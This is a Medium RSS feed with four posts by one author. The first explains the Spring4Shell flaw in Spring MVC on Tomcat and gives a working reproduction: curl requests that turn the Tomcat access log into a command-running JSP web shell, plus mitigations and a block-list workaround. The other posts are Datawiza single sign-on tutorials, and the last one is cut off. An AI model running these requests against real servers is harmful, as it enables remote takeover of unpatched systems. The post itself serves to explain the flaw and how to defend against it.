<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cunhao (Alex) Gao on Medium]]></title>
        <description><![CDATA[Stories by Cunhao (Alex) Gao on Medium]]></description>
        <link>https://medium.com/@cunhao-gao?source=rss-7d4d5a1bdcdc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*c11g6W_9fHvZ2URmsSc_JQ.jpeg</url>
            <title>Stories by Cunhao (Alex) Gao on Medium</title>
            <link>https://medium.com/@cunhao-gao?source=rss-7d4d5a1bdcdc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 13:31:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cunhao-gao/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding Spring4Shell RCE from an engineer’s perspective (with code)]]></title>
            <link>https://medium.com/@cunhao-gao/understanding-spring4shell-rce-from-an-engineers-perspective-with-code-e0e7014a17be?source=rss-7d4d5a1bdcdc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0e7014a17be</guid>
            <category><![CDATA[spring4shell]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cunhao (Alex) Gao]]></dc:creator>
            <pubDate>Thu, 07 Apr 2022 01:30:43 GMT</pubDate>
            <atom:updated>2022-04-07T01:30:43.777Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Aymvr-itUS85f26r.jpeg" /></figure><h3>What happened?</h3><p>On March 29, 2022, A very old RCE (remote code execution) loophole tracked as<a href="https://tanzu.vmware.com/security/cve-2022-22965"> CVE-2010–1622</a> was exposed in a series of Tweets. It affects most java projects using JDK 9+. This loophole enables attackers to exploit the server by executing a command on a server carried in a HTTP request.</p><h3>Who should worry about this vulnerability?</h3><p>If your project meets all conditions below, then you should take a serious look into this:</p><ol><li><strong>JDK 9+</strong></li><li>Imported <strong>spring-webmvc</strong> dependency</li><li>Deployed as <strong>WAR</strong> but not <strong>JAR</strong></li><li><strong>Apache Tomcat</strong> as the Servlet container (the only container confirmed exploit currently)</li></ol><h3>How did this happen?</h3><p>Before explaining more details, let’s first start with a simple API defined in SpringMVC controller.</p><pre>@Controllerpublic class DemoController {</pre><pre>  @PostMapping(“/animals”)<br>  @ResponseBody<br>  public Map&lt;String, Object&gt; importAnimalIntoZoo(Animal animal) {<br>    HashMap&lt;String, Object&gt; response = new HashMap&lt;&gt;();<br>    response.put(“data”, animal);<br>    return response;<br>  }<br>}</pre><p>Then send a POST request like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eGNMIS8oXaG9fYVP" /></figure><p>Then the text value of the parameter will be binded to a JavaBean:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lJuhXjmBU-PjHfgH" /></figure><p>and the Animal class contains a customized type member field: <strong><em>Species</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JPCTy5vNBWbl2CC5" /></figure><p>If you go back to the request and check the parameter <em>species.name=Dolphins</em> you will see the value is mapped to the <strong><em>name</em></strong><em> </em>field of the <strong><em>species</em></strong><em> </em>object. The dot between <strong><em>species</em></strong><em> </em>and <strong><em>name</em></strong><em> </em>helps pass values into complex member variables.</p><p>For now, there is no obvious risk in this API call.</p><p>However, if we take a closer look at the source code and examine how the data binding process in SpringMVC class <em>BeanWrapperImpl</em> is implemented, you will see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JPnWtSHKStlNxEfN" /></figure><p>This is where the “magic” happens with some imagination.</p><p>The screenshot above indicates that we can bind not only data to the View object itself (animal here for example), but also data to its class.</p><p>Let’s check what is in the class. By searching through the path of</p><p><em>class.module.classLoader.resources.context.parent.pipeline.first</em></p><p>We find a member variable of type <strong><em>AccessLogValue</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hVD9Qk9AvPDFz7pf" /></figure><p>That means we can update all fields in <strong><em>AccessLogValue</em></strong><em> </em>type field <strong><em>first</em> </strong>just like we update <strong><em>species.name</em></strong>.</p><h3>So what is AccessLogValue?</h3><p>It’s the class just mapped to this snippet config in Tomcat configuration file <strong><em>server.xml</em></strong>.</p><pre><em>&lt;</em><strong><em>Valve</em></strong><em> className=”org.apache.catalina.valves.AccessLogValve” <br>    directory=”logs”<br>    prefix=”localhost_access_log” <br>    suffix=”.txt”<br>    pattern=”%h %l %u %t &amp;quot;%r&amp;quot; %s %b” <br>/&gt;</em></pre><p>Easy to see that it is the configuration of tomcat access log in the folder logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m3lp25Exx2qkRqCy" /></figure><p>It will record all HTTP requests in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W_trmH87ToUXihLn" /></figure><h3>But does a log configuration matter?</h3><p>The answer is yes.</p><p>After checking the field in class <strong><em>AccessLogValue</em></strong>, we can update the log file type to <em>.jsp</em>. Then we can try to inject one evil Java snippet into the jsp file:</p><pre><em>&lt;</em><strong><em>%</em></strong><em> <br>String cmd = “open /System/Applications/Calculator.app”; <br>Process exec = Runtime.getRuntime().exec(cmd); <br>%&gt;</em></pre><p>As a result, a <em>Calculator app</em> can be launched on the server side.</p><p>Similarly, we can also inject some other commands like <em>whoami</em>, <em>ifconfig</em> or other query commands.</p><h3>Test the Exploit yourself</h3><ol><li>Download the demo code from github to local<br> github:<a href="https://github.com/datawiza-inc/spring-rec-demo"> https://github.com/datawiza-inc/spring-rec-demo</a></li><li>Deploy it to <em>TOMCAT (apache-tomcat-8.5.76)<br>Note: apache-tomcat-8.5.78 has fixed this vulnerability.</em></li><li>Issue a request like below to set Tomcat log configuration</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y-gjEILx7sugJSPv" /></figure><p><strong>curl command:</strong></p><pre>curl — location -g — request POST ‘localhost:8080/spring_rec_demo_war/animals?name=orca&amp;alias=Killer Whale&amp;latinName=Orcinus orca&amp;distributions=Fiji&amp;species.name=Dolphins&amp;class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=/{ABSOLUTE_PATH}/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=’</pre><p>Now let’s check the parameters in this request:</p><pre><strong><em>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20</em></strong></pre><p>Do a URL decode, you will notice that this pattern contains jsp content:</p><pre><em>%{leftBracket}i <br>String cmd = “%{cmd}i”; <br>Process exec = %{runtime}i.getRuntime().exec(cmd); <br>%{rightBracket}i <br>&lt;</em><strong><em>h1</em></strong><em>&gt;Run “%{leftBracket}i=cmd %{rightBracket}i “&lt;/</em><strong><em>h1</em></strong><em>&gt;</em></pre><p>The placeholder <strong><em>%{leftBracket}i</em></strong> will accept text value <strong><em>&lt;%</em></strong> from request header with name <em>leftBracket</em> because symbol <strong><em>&lt;%</em></strong> and <strong><em>%&gt;</em></strong> can’t be set into Tomcat config by request directly. Also, Runtime class name is prevented to show in the pattern config so we also use <strong><em>%{runtime}i</em></strong> to make another request to populate it.</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp</pre><p>set log file extension to <strong>jsp</strong></p><pre><strong>class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/haoxintai/Tools/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/</strong></pre><p>print logs to file with specified path</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick</pre><p>set log file name</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=</pre><p>remove log prefix like <em>04-Apr-2022 17:33:09.628</em></p><p>4. Once the configuration is done, we can issue another request to trigger log print with <em>leftBracket/rightBracket/runtime/cmd</em> in header</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qgKlV1Z_nf7zGJ7-" /></figure><h4>curl command:</h4><pre><em>curl — location — request POST ‘localhost:8080/’ \<br> — header ‘leftBracket: &lt;%’ \<br> — header ‘rightBracket: %&gt;’ \<br> — header ‘runtime: Runtime’ \<br> — header ‘cmd: open /System/Applications/Calculator.app’</em></pre><p>5. Check the created jsp format log in specified path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b3PPNipyrtY1pWmw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YJ2R5tBBiWraghAl" /></figure><p>6. Everything is ready now. We can visit the jsp file to do the trick.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MZtF4-1rcaHk9QO0" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NT6Ub2vCfKVMzuAl" /></figure><h3>How to mitigate this?</h3><p>Best options:</p><ol><li>upgrade Spring Framework to 5.3.18+/5.2.20+ with patch</li><li>upgrade Tomcat to the latest one with patch</li></ol><p>If for some reason, you can’t take those options at the moment, below are some workarounds for you.</p><ol><li>Set a blacklist to prevent the config update:</li></ol><pre><em>@ControllerAdvicepublic class BinderControllerAdvice {<br>  @InitBinder<br>  public void setAllowedFields(WebDataBinder dataBinder) {<br>    String[] blacklist = new String[]{“class.*”, “Class.*”, “*.class.*”, “*.Class.*”};<br>    dataBinder.setDisallowedFields(blacklist);<br>  }<br>}</em></pre><p>2. Downgrade JDK version to 8.</p><p>We recommend that all users apply mitigations or updates if they are using Spring Core.</p><h3>Last question, why doesn’t JDK 8 have the vulnerability?</h3><p>The answer is hidden in the path:</p><p>class.module.classLoader.resources.context.parent.pipeline.first.pattern</p><p>In <strong>JDK 8</strong>, there is no module language feature at all, so no loophole for us to take advantage of. That’s a new feature since <strong>JDK 9</strong>.</p><p>The <strong>class.classLoader</strong> has already been blocked in <strong>JDK 8</strong> so it is safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0e7014a17be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Add Auth0 authentication to a Java application using Datawiza in 5 mins]]></title>
            <link>https://medium.com/@cunhao-gao/add-auth0-authentication-to-a-java-application-using-datawiza-in-5-mins-822971b2a366?source=rss-7d4d5a1bdcdc------2</link>
            <guid isPermaLink="false">https://medium.com/p/822971b2a366</guid>
            <category><![CDATA[java]]></category>
            <category><![CDATA[auth0]]></category>
            <category><![CDATA[sso]]></category>
            <category><![CDATA[auth]]></category>
            <dc:creator><![CDATA[Cunhao (Alex) Gao]]></dc:creator>
            <pubDate>Wed, 05 Jan 2022 23:44:29 GMT</pubDate>
            <atom:updated>2022-01-05T23:44:29.383Z</atom:updated>
            <content:encoded><![CDATA[<p>In this step-by-step tutorial, you will learn how to integrate a Java web application with Auth0 using Datawiza to implement <a href="https://www.datawiza.com/blogs/azure-ad-migration">OIDC/OAuth SSO</a> for the Java web application.</p><h3>Prerequisites</h3><ul><li>A favorite text editor or IDE</li><li><a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html">JDK 1.8</a> or later (for the Java app)</li><li><a href="http://www.gradle.org/downloads">Gradle 4+</a> or <a href="https://maven.apache.org/download.cgi">Maven 3.2+</a> (for the Java app)</li><li><a href="https://docs.docker.com/get-docker/">Docker</a> (18.03+) (for Datawiza Access Broker)</li><li><a href="https://docs.docker.com/compose/install/">Docker Compose</a> (for Datawiza Access Broker)</li></ul><h3>Run a Java web application</h3><p>We use the sample offered in <a href="https://spring.io/guides/gs/spring-boot/#initial">Spring.io official Building an Application with Spring Boot</a> as the example in this section. The application running at port 8080 simply returns “Greetings from Spring Boot!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dSThercOY8NNwd9I" /></figure><p>Suppose you want to add SSO authentication for a Java web application using Auth0. In that case, Auth0 provides quickstarts on adding the user login to <a href="https://auth0.com/docs/quickstart/webapp/java-ee">a Java EE web application</a> or <a href="https://auth0.com/docs/quickstart/webapp/java">a Java Servlet application</a> and integrating Auth0 with any new or existing Spring Boot 2 web application. What’s more, there is <a href="https://github.com/auth0/auth0-java">an official Java client library for the Auth0 platform</a> and <a href="https://github.com/auth0/java-jwt">a Java implementation of JSON Web Token (JWT)</a>. However, you will still need to invest significant time to clearly understand concepts related to Auth0, OIDC, Oauth2, JWT, and so on. And you cannot avoid heavy code changes. You deserve a better solution, and we are building one that will reduce the required time from weeks to just minutes.</p><h3>Introduction to the Datawiza Platform</h3><p>The Datawiza Platform is a cloud-delivered, <a href="https://www.datawiza.com/blogs/why-access-management-as-a-service-amaas-why-now">SaaS-based access management solution</a>. It includes a data plane and a control plane: Datawiza Access Broker (DAB) and Datawiza Cloud Management Console (DCMC).</p><p><strong>DAB</strong> is a lightweight, container-based access proxy deployed close to your application via the sidecar (agent) or gateway mode. It talks to Auth0 on behalf of your applications, so you don’t need to worry about the integration work. <strong>DCMC</strong> is a cloud-based management console where you can configure and manage the policies of DABs. Such a SaaS-based design makes the whole platform much easier to use.</p><h3>Step1: Create an application in Auth0</h3><p>First, we need to create an <a href="https://auth0.com/docs/applications">Auth0 application</a> in the <a href="https://manage.auth0.com/dashboard">Auth0 console</a>. When performing this step, make sure to log in to your account on Auth0. Visit the link <a href="https://auth0.com/">here</a> to create a developer account.</p><p>You can skip this step if you already have an application with the following values: Domain, Client ID, and Client Secret.</p><p>Create an application after you log in to Auth0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L_mw6to9uSCmUoCr" /></figure><p>Enter the application name and choose <strong>Regular Web Applications</strong>, then click <strong>CREATE</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uELoOiAH7-JNGMK0" /></figure><p>Select the <strong>Settings</strong> tab and fill out the form. Follow the steps below:</p><ul><li><strong>Allowed Callback URLs</strong>: e.g., <a href="http://localhost:9772/authorization-code/callback">http://localhost:9772/authorization-code/callback</a></li><li><strong>Allowed Logout URLs</strong>: e.g., <a href="http://localhost:9772/">http://localhost:9772</a></li><li>Use the default settings for the remaining fields</li></ul><p>Then click <strong>SAVE CHANGES.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OGBUbY3PlKdKxD6L" /></figure><p>On the same page, be sure to save a copy of <strong>Domain</strong>, <strong>Client ID,</strong> and <strong>Client Secret</strong>. You will need these values later when establishing the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3-lPP0obFWM_GnSX" /></figure><p>Choose Users under<strong> Users &amp; Roles</strong> Tab and create a test user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*epAFayCcGOcv2af7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X3elT-E7e5kx_Grr" /></figure><p>You have now registered a web application on Auth0. Next, you will create a simple configuration in the DCMC.</p><h3>Step 2: Configurations in Datawiza Cloud Management Console</h3><p>Then, log in to the <a href="https://console.datawiza.com/">Datawiza Cloud Management Console (DCMC)</a>. If you do not have a DCMC account, you can create one by email from the DCMC login page. Also, we provide social login and SSO functionality with Microsoft, GitHub, and Google to simplify logins for you.</p><p>The <strong>Get started</strong> function will guide you through the configuration. After logging in to the DCMC, click on the yellow “Get started” button and follow the steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DSIMkBctg-Uj3KYz" /></figure><p>Enter some basic information, such as the deployment name and provisioning key name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g8O1t9jM7zW7BOTd" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CNZHRp5SUZ_GMJnl" /></figure><p>Now <strong>Add an Application</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bQ62YI5pOdVQMHcG" /></figure><p>Configure your application with the following values:</p><ul><li><strong>Platform</strong>: <em>Web</em></li><li><strong>App Name</strong>: <em>Demo App</em></li><li><strong>Public Domain</strong>: <a href="http://localhost:9772/"><em>http://localhost:9772</em></a></li><li><strong>Listen Port</strong>: <em>9772</em></li><li><strong>Upstream Servers</strong>: <a href="http://host.docker.internal:8080/"><em>http://host.docker.internal:8080</em></a></li><li><strong>Default Action</strong>: <em>Allow</em></li></ul><p>Note that <strong>Upstream Servers</strong> is the address of the Java application.</p><ul><li>If you use Mac or Windows, then set the Upstream Servers to <a href="http://host.docker.internal:8080/"><em>http://host.docker.internal:8080</em></a> (requires Docker 18.03+).</li><li>If you use Linux, use <em>ip addr show docker0</em> to get the docker host IP (e.g., 172.17.0.1) and then set Upstream Servers to <a href="http://172.17.0.1:8080/">http://172.17.0.1:8080</a> (see <a href="https://stackoverflow.com/questions/24319662/from-inside-of-a-docker-container-how-do-i-connect-to-the-localhost-of-the-mach">this</a> for more details).</li></ul><p>Next <strong>Configure the IdP</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YICG7iYWjfbjABW6" /></figure><p>Select <strong>OIDC</strong> as the Protocol and <strong>Auth0</strong> as the Identity Provider. Input the <strong>Domain</strong>, <strong>Client ID</strong> and the <strong>Client Secret</strong> you saved when creating the app in Auth0. Then click <strong>Create</strong>.</p><p>In the last step, we will provide the command lines to pull the DAB image and the docker-compose file to run the DAB.</p><p>Execute the command lines in steps 1 &amp; 2 and note down the docker-compose file in step 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nLIt59xmtoMzBgL4" /></figure><h3>Step 3: Run DAB as a sidecar (agent) to your application</h3><p>After finishing the configuration in DCMC, you can run the DAB with the YAML file noted in the previous step. The docker-compose YAML file, named <em>datawiza-access-broker.yaml</em> should then appear like this:</p><pre>version: ‘3’<br>services:<br> datawiza-access-broker:<br> image: registry.gitlab.com/datawiza/access-broker<br> container_name: datawiza-access-broker<br> restart: always<br> ports:<br> — “9772:9772”<br> environment:<br> PROVISIONING_KEY: #############################<br> PROVISIONING_SECRET: #############################</pre><p>Now, we can use docker-compose to create and start the DAB:</p><pre>docker-compose -f datawiza-access-broker.yaml up -d</pre><p>That’s it. After executing the command above, the Node.js application should have SSO enabled with Auth0.</p><p>Now, let’s give it a try.</p><p>Open a browser and type in <a href="http://localhost:9772."><strong>http://localhost:9772</strong>.</a> You should see the Auth0 login page as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9NqjkAmV0yRYUEef" /></figure><p>After logging in to Auth0, the Java web application will be shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lO9a-YJVZlVI7iQr" /></figure><h3>Summary</h3><p>Congratulations! You secured a Java web application by adding Auth0 authentication using Datawiza — in minutes instead of weeks or months. This is only a small sampling of what Datawiza can do. See <a href="https://docs.datawiza.com/">Datawiza’s online docs</a> or <a href="https://datawiza.com/">official website </a>for much more information. You can also get a free trial by<a href="https://console.datawiza.com/"> signing up/in here</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=822971b2a366" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Set Up SSO for Open Source Kibana with Okta using Datawiza]]></title>
            <link>https://medium.com/@cunhao-gao/set-up-sso-for-open-source-kibana-with-okta-using-datawiza-71641b30198d?source=rss-7d4d5a1bdcdc------2</link>
            <guid isPermaLink="false">https://medium.com/p/71641b30198d</guid>
            <category><![CDATA[sso]]></category>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[okta]]></category>
            <category><![CDATA[kibana]]></category>
            <dc:creator><![CDATA[Cunhao (Alex) Gao]]></dc:creator>
            <pubDate>Fri, 03 Dec 2021 07:22:30 GMT</pubDate>
            <atom:updated>2021-12-03T07:22:30.798Z</atom:updated>
            <content:encoded><![CDATA[<p>It is said that “<em>Data is the new oil,”</em> and it is more important than ever to keep that oil secure. If your organization relies on Kibana, sooner or later, you will want to secure access to it with single sign-on (SSO).</p><p>Kibana is a free and open source frontend application that sits on top of the Elastic Stack, providing search and data visualization capabilities for data indexed in Elasticsearch.</p><p>If you review <a href="https://www.elastic.co/guide/en/kibana/current/kibana-authentication.html">Authentication in Kibana</a>, you will see that Kibana supports some authentication mechanisms, such as multiple authentication providers, basic authentication, token authentication, and so on. However, Single Sign-On (SAML, OpenID Connect, Kerberos) requires an expensive Platinum Plan license, which could cost about $10K+/server/year (including both Kibana and Elasticsearch servers). If you have many Kibana/Elasticsearch servers, the price tag could be prohibitively high.</p><p><a href="https://datawiza.com/">Datawiza</a> provides a much more cost-effective way to solve this problem. A SaaS-delivered, lightweight, proxy-based solution, Datawiza can enable SSO and granular access control for not only Kibana, but also for other open source tools, including Grafana, Jenkins, Hadoop/Spark and so on.</p><p>In this step-by-step tutorial, you will learn how to integrate a Kibana dashboard with Okta using Datawiza to implement OIDC/OAuth SSO.</p><h3>Introduction to the Datawiza Platform</h3><p>The Datawiza Platform is a cloud-delivered, <a href="https://www.datawiza.com/blogs/why-access-management-as-a-service-amaas-why-now">SaaS-based access management solution</a>. It includes a data plane and a control plane: Datawiza Access Broker (DAB) and Datawiza Cloud Management Console (DCMC).</p><p><strong>DAB</strong> is a lightweight, container-based access proxy deployed close to your application via the sidecar (agent) or gateway mode. It talks to Okta on behalf of your applications, so you don’t need to worry about the integration work. <strong>DCMC</strong> is a cloud-based management console where you can configure and manage the policies of DABs. Such a SaaS-based design makes the whole platform much easier to use.</p><h3>Step1: Create an app integration in Okta</h3><p>First, you need to set up an App Integration on Okta and get some credentials. If you don’t have one, you can follow the <a href="https://docs.datawiza.com/idp/okta.html">tutorial</a> to create a new one on Okta. At the end of this step, you will get a client id and a client secret for the Okta app integration.</p><h3>Step2: Create an application in Datawiza Console</h3><p>Next, follow the <a href="https://docs.datawiza.com/tutorial/web-app-okta.html">tutorial</a> to create an application in DCMC. Note that when you configure the application, the port of <strong>Upstream Servers</strong> should be 5601, which is the default port of Kibana, instead of 3001:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*5nJ6W33X3Q7ctBjv" /></figure><h3>Step 3: Run DAB container to enable SSO for Kibana</h3><p>Run DAB as a sidecar (agent) to your application.</p><p>After finishing the configuration in DCMC, you can run the DAB with a YAML file. The final docker-compose YAML file should look like this:</p><pre>version: ‘3’<br>services:<br>  datawiza-access-broker:<br>    image: registry.gitlab.com/datawiza/access-broker<br>    container_name: datawiza-access-broker<br>    restart: always<br>    ports:<br>      — “9772:9772”<br>    environment:<br>      PROVISIONING_KEY: #############################<br>      PROVISIONING_SECRET: #############################</pre><p>Now, you can use docker-compose to create and start the DAB:</p><pre>docker-compose -f datawiza-access-broker.yml up -d</pre><p>That’s it. After executing the command above, Kibana should have SSO enabled with Okta.</p><h3>Login to Kibana via SSO</h3><p>Now, let’s give it a try. Open a browser and type in <a href="http://localhost:9772/">http://localhost:9772</a>. You should see the Okta login page as follows. Use the test user to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*tbptEklYb9VuaHdM" /></figure><p>After logging in to Okta, you will see the Kibana dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*l2bv0KZi9gKklYrc" /></figure><h3>Summary</h3><p>This tutorial has shown you how to cost-effectively secure the Kibana dashboard with Okta using<a href="https://datawiza.com/"> Datawiza</a>. Get a free trial by<a href="https://console.datawiza.com/"> signing up/in here</a>. Please email us at <a href="/service/mailto:contact@datawiza.com">contact@datawiza.com</a> if you need any help or have any questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71641b30198d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Add Azure AD authentication to a Java web application using Datawiza in 5 mins]]></title>
            <link>https://medium.com/@cunhao-gao/add-azure-ad-authentication-to-a-java-web-application-using-datawiza-in-5-mins-7b818635bece?source=rss-7d4d5a1bdcdc------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b818635bece</guid>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[sso]]></category>
            <category><![CDATA[low-code-no-code]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[azure-ad]]></category>
            <dc:creator><![CDATA[Cunhao (Alex) Gao]]></dc:creator>
            <pubDate>Wed, 29 Sep 2021 04:26:58 GMT</pubDate>
            <atom:updated>2022-01-10T06:40:43.022Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*D1fOAVjZlHnIPkXM.png" /><figcaption>Datawiza + Azure AD no-code SSO/MFA integration solution</figcaption></figure><p>Do you want to learn how to add authentication to your Java application? In this step-by-step tutorial, you will learn how to integrate a Java application with Azure AD using Datawiza to implement <a href="https://www.datawiza.com/blogs/add-authentication-nodejs-application">OIDC/OAuth SSO</a> for the Java application.</p><h3>What is a Java?</h3><p>Java is a high-level, class-based, object-oriented programming language that is designed to have as few implementation dependencies as possible. It is a general-purpose programming language intended to let application developers write once, run anywhere (WORA), meaning that compiled Java code can run on all platforms that support Java without the need for recompilation. Java applications are typically compiled to bytecode that can run on any Java virtual machine (JVM) regardless of the underlying computer architecture.</p><h3>Run a Java web application</h3><p>We use the sample offered in <a href="https://spring.io/guides/gs/spring-boot/#initial">Spring.io official Building an Application with Spring Boot</a> as the example in this section. The application running at port 8080 simply returns “Greetings from Spring Boot!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3nGYvQlRlI0YWPR-" /><figcaption>A simple Spring Boot sample application</figcaption></figure><p>If you want to add SSO for Java web applications using Azure AD, you may search on Google for the Java library for Azure AD. And you will find the <a href="https://github.com/AzureAD/microsoft-authentication-library-for-java">Microsoft Authentication Library for Java (MSAL4J)</a>, which is used to enable applications to integrate with the <a href="https://aka.ms/aaddevv2">Microsoft identity platform</a>. What’s more, there are many <a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/sample-v2-code#web-applications">code samples</a>, built and maintained by Microsoft, that demonstrate <a href="https://www.datawiza.com/blogs/how-to-secure-data-with-access-management-as-a-service">authentication and authorization</a> by using Azure AD and the Microsoft identity platform in several <a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-app-types">application types</a>, development languages, and frameworks. However, you still need to spend a lot of time to clearly understand the concepts about Azure AD, OIDC, Oauth2, and so on. You deserve a better solution, and we are building one that will reduce the time required down to hours or days, even minutes.</p><h3>Introduction to the Datawiza Platform</h3><p>The Datawiza Platform is a cloud-delivered, <a href="https://www.datawiza.com/blogs/why-access-management-as-a-service-amaas-why-now">SaaS-based access management solution</a>. It includes a data plane and a control plane: <strong>Datawiza Access Broker (DAB)</strong> and <strong>Datawiza Cloud Management Console (DCMC)</strong>.</p><p><strong>DAB</strong> is a lightweight, container-based access proxy deployed close to your application via the sidecar (agent) or gateway mode. It talks to Azure AD on behalf of your applications, so you don’t need to worry about the integration work. <strong>DCMC</strong> is a cloud-based management console where you can configure and manage the policies of DABs. Such a SaaS-based design makes the whole platform much easier to use.</p><h4>Simple configurations using Datawiza Cloud Management Console</h4><p>Use your <strong>Azure AD Account (this account should have the permission to create an app registration in the Azure AD tenant)</strong> to log in to the <a href="https://console.datawiza.com/">DCMC</a>.</p><p>Follow the tutorial in <a href="https://www.datawiza.com/blogs/add-authentication-nodejs-application">Integrating a web application with Azure AD using Datawiza in 5 mins</a> to create an application in DCMC. Note that when you configure the application, the port of <strong>Upstream Servers</strong> should be 8080 instead of 3001:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*StwVaRyiFRpjlyyr" /><figcaption>Configuration in the Datawiza management console</figcaption></figure><h3>Run DAB as a sidecar (agent) to your application</h3><p>After finishing the configuration in DCMC, you can run the DAB with the YAML file noted in the previous step. The docker-compose YAML file should then be like this:</p><pre>version: ‘3’<br>services:<br>  datawiza-access-broker:<br>  image: registry.gitlab.com/datawiza/access-broker<br>  container_name: datawiza-access-broker<br>  restart: always<br>  ports:<br>    — “9772:9772”<br>  environment:<br>    PROVISIONING_KEY: #############################<br>    PROVISIONING_SECRET: #############################</pre><p>Now, we can use docker-compose to create and start the 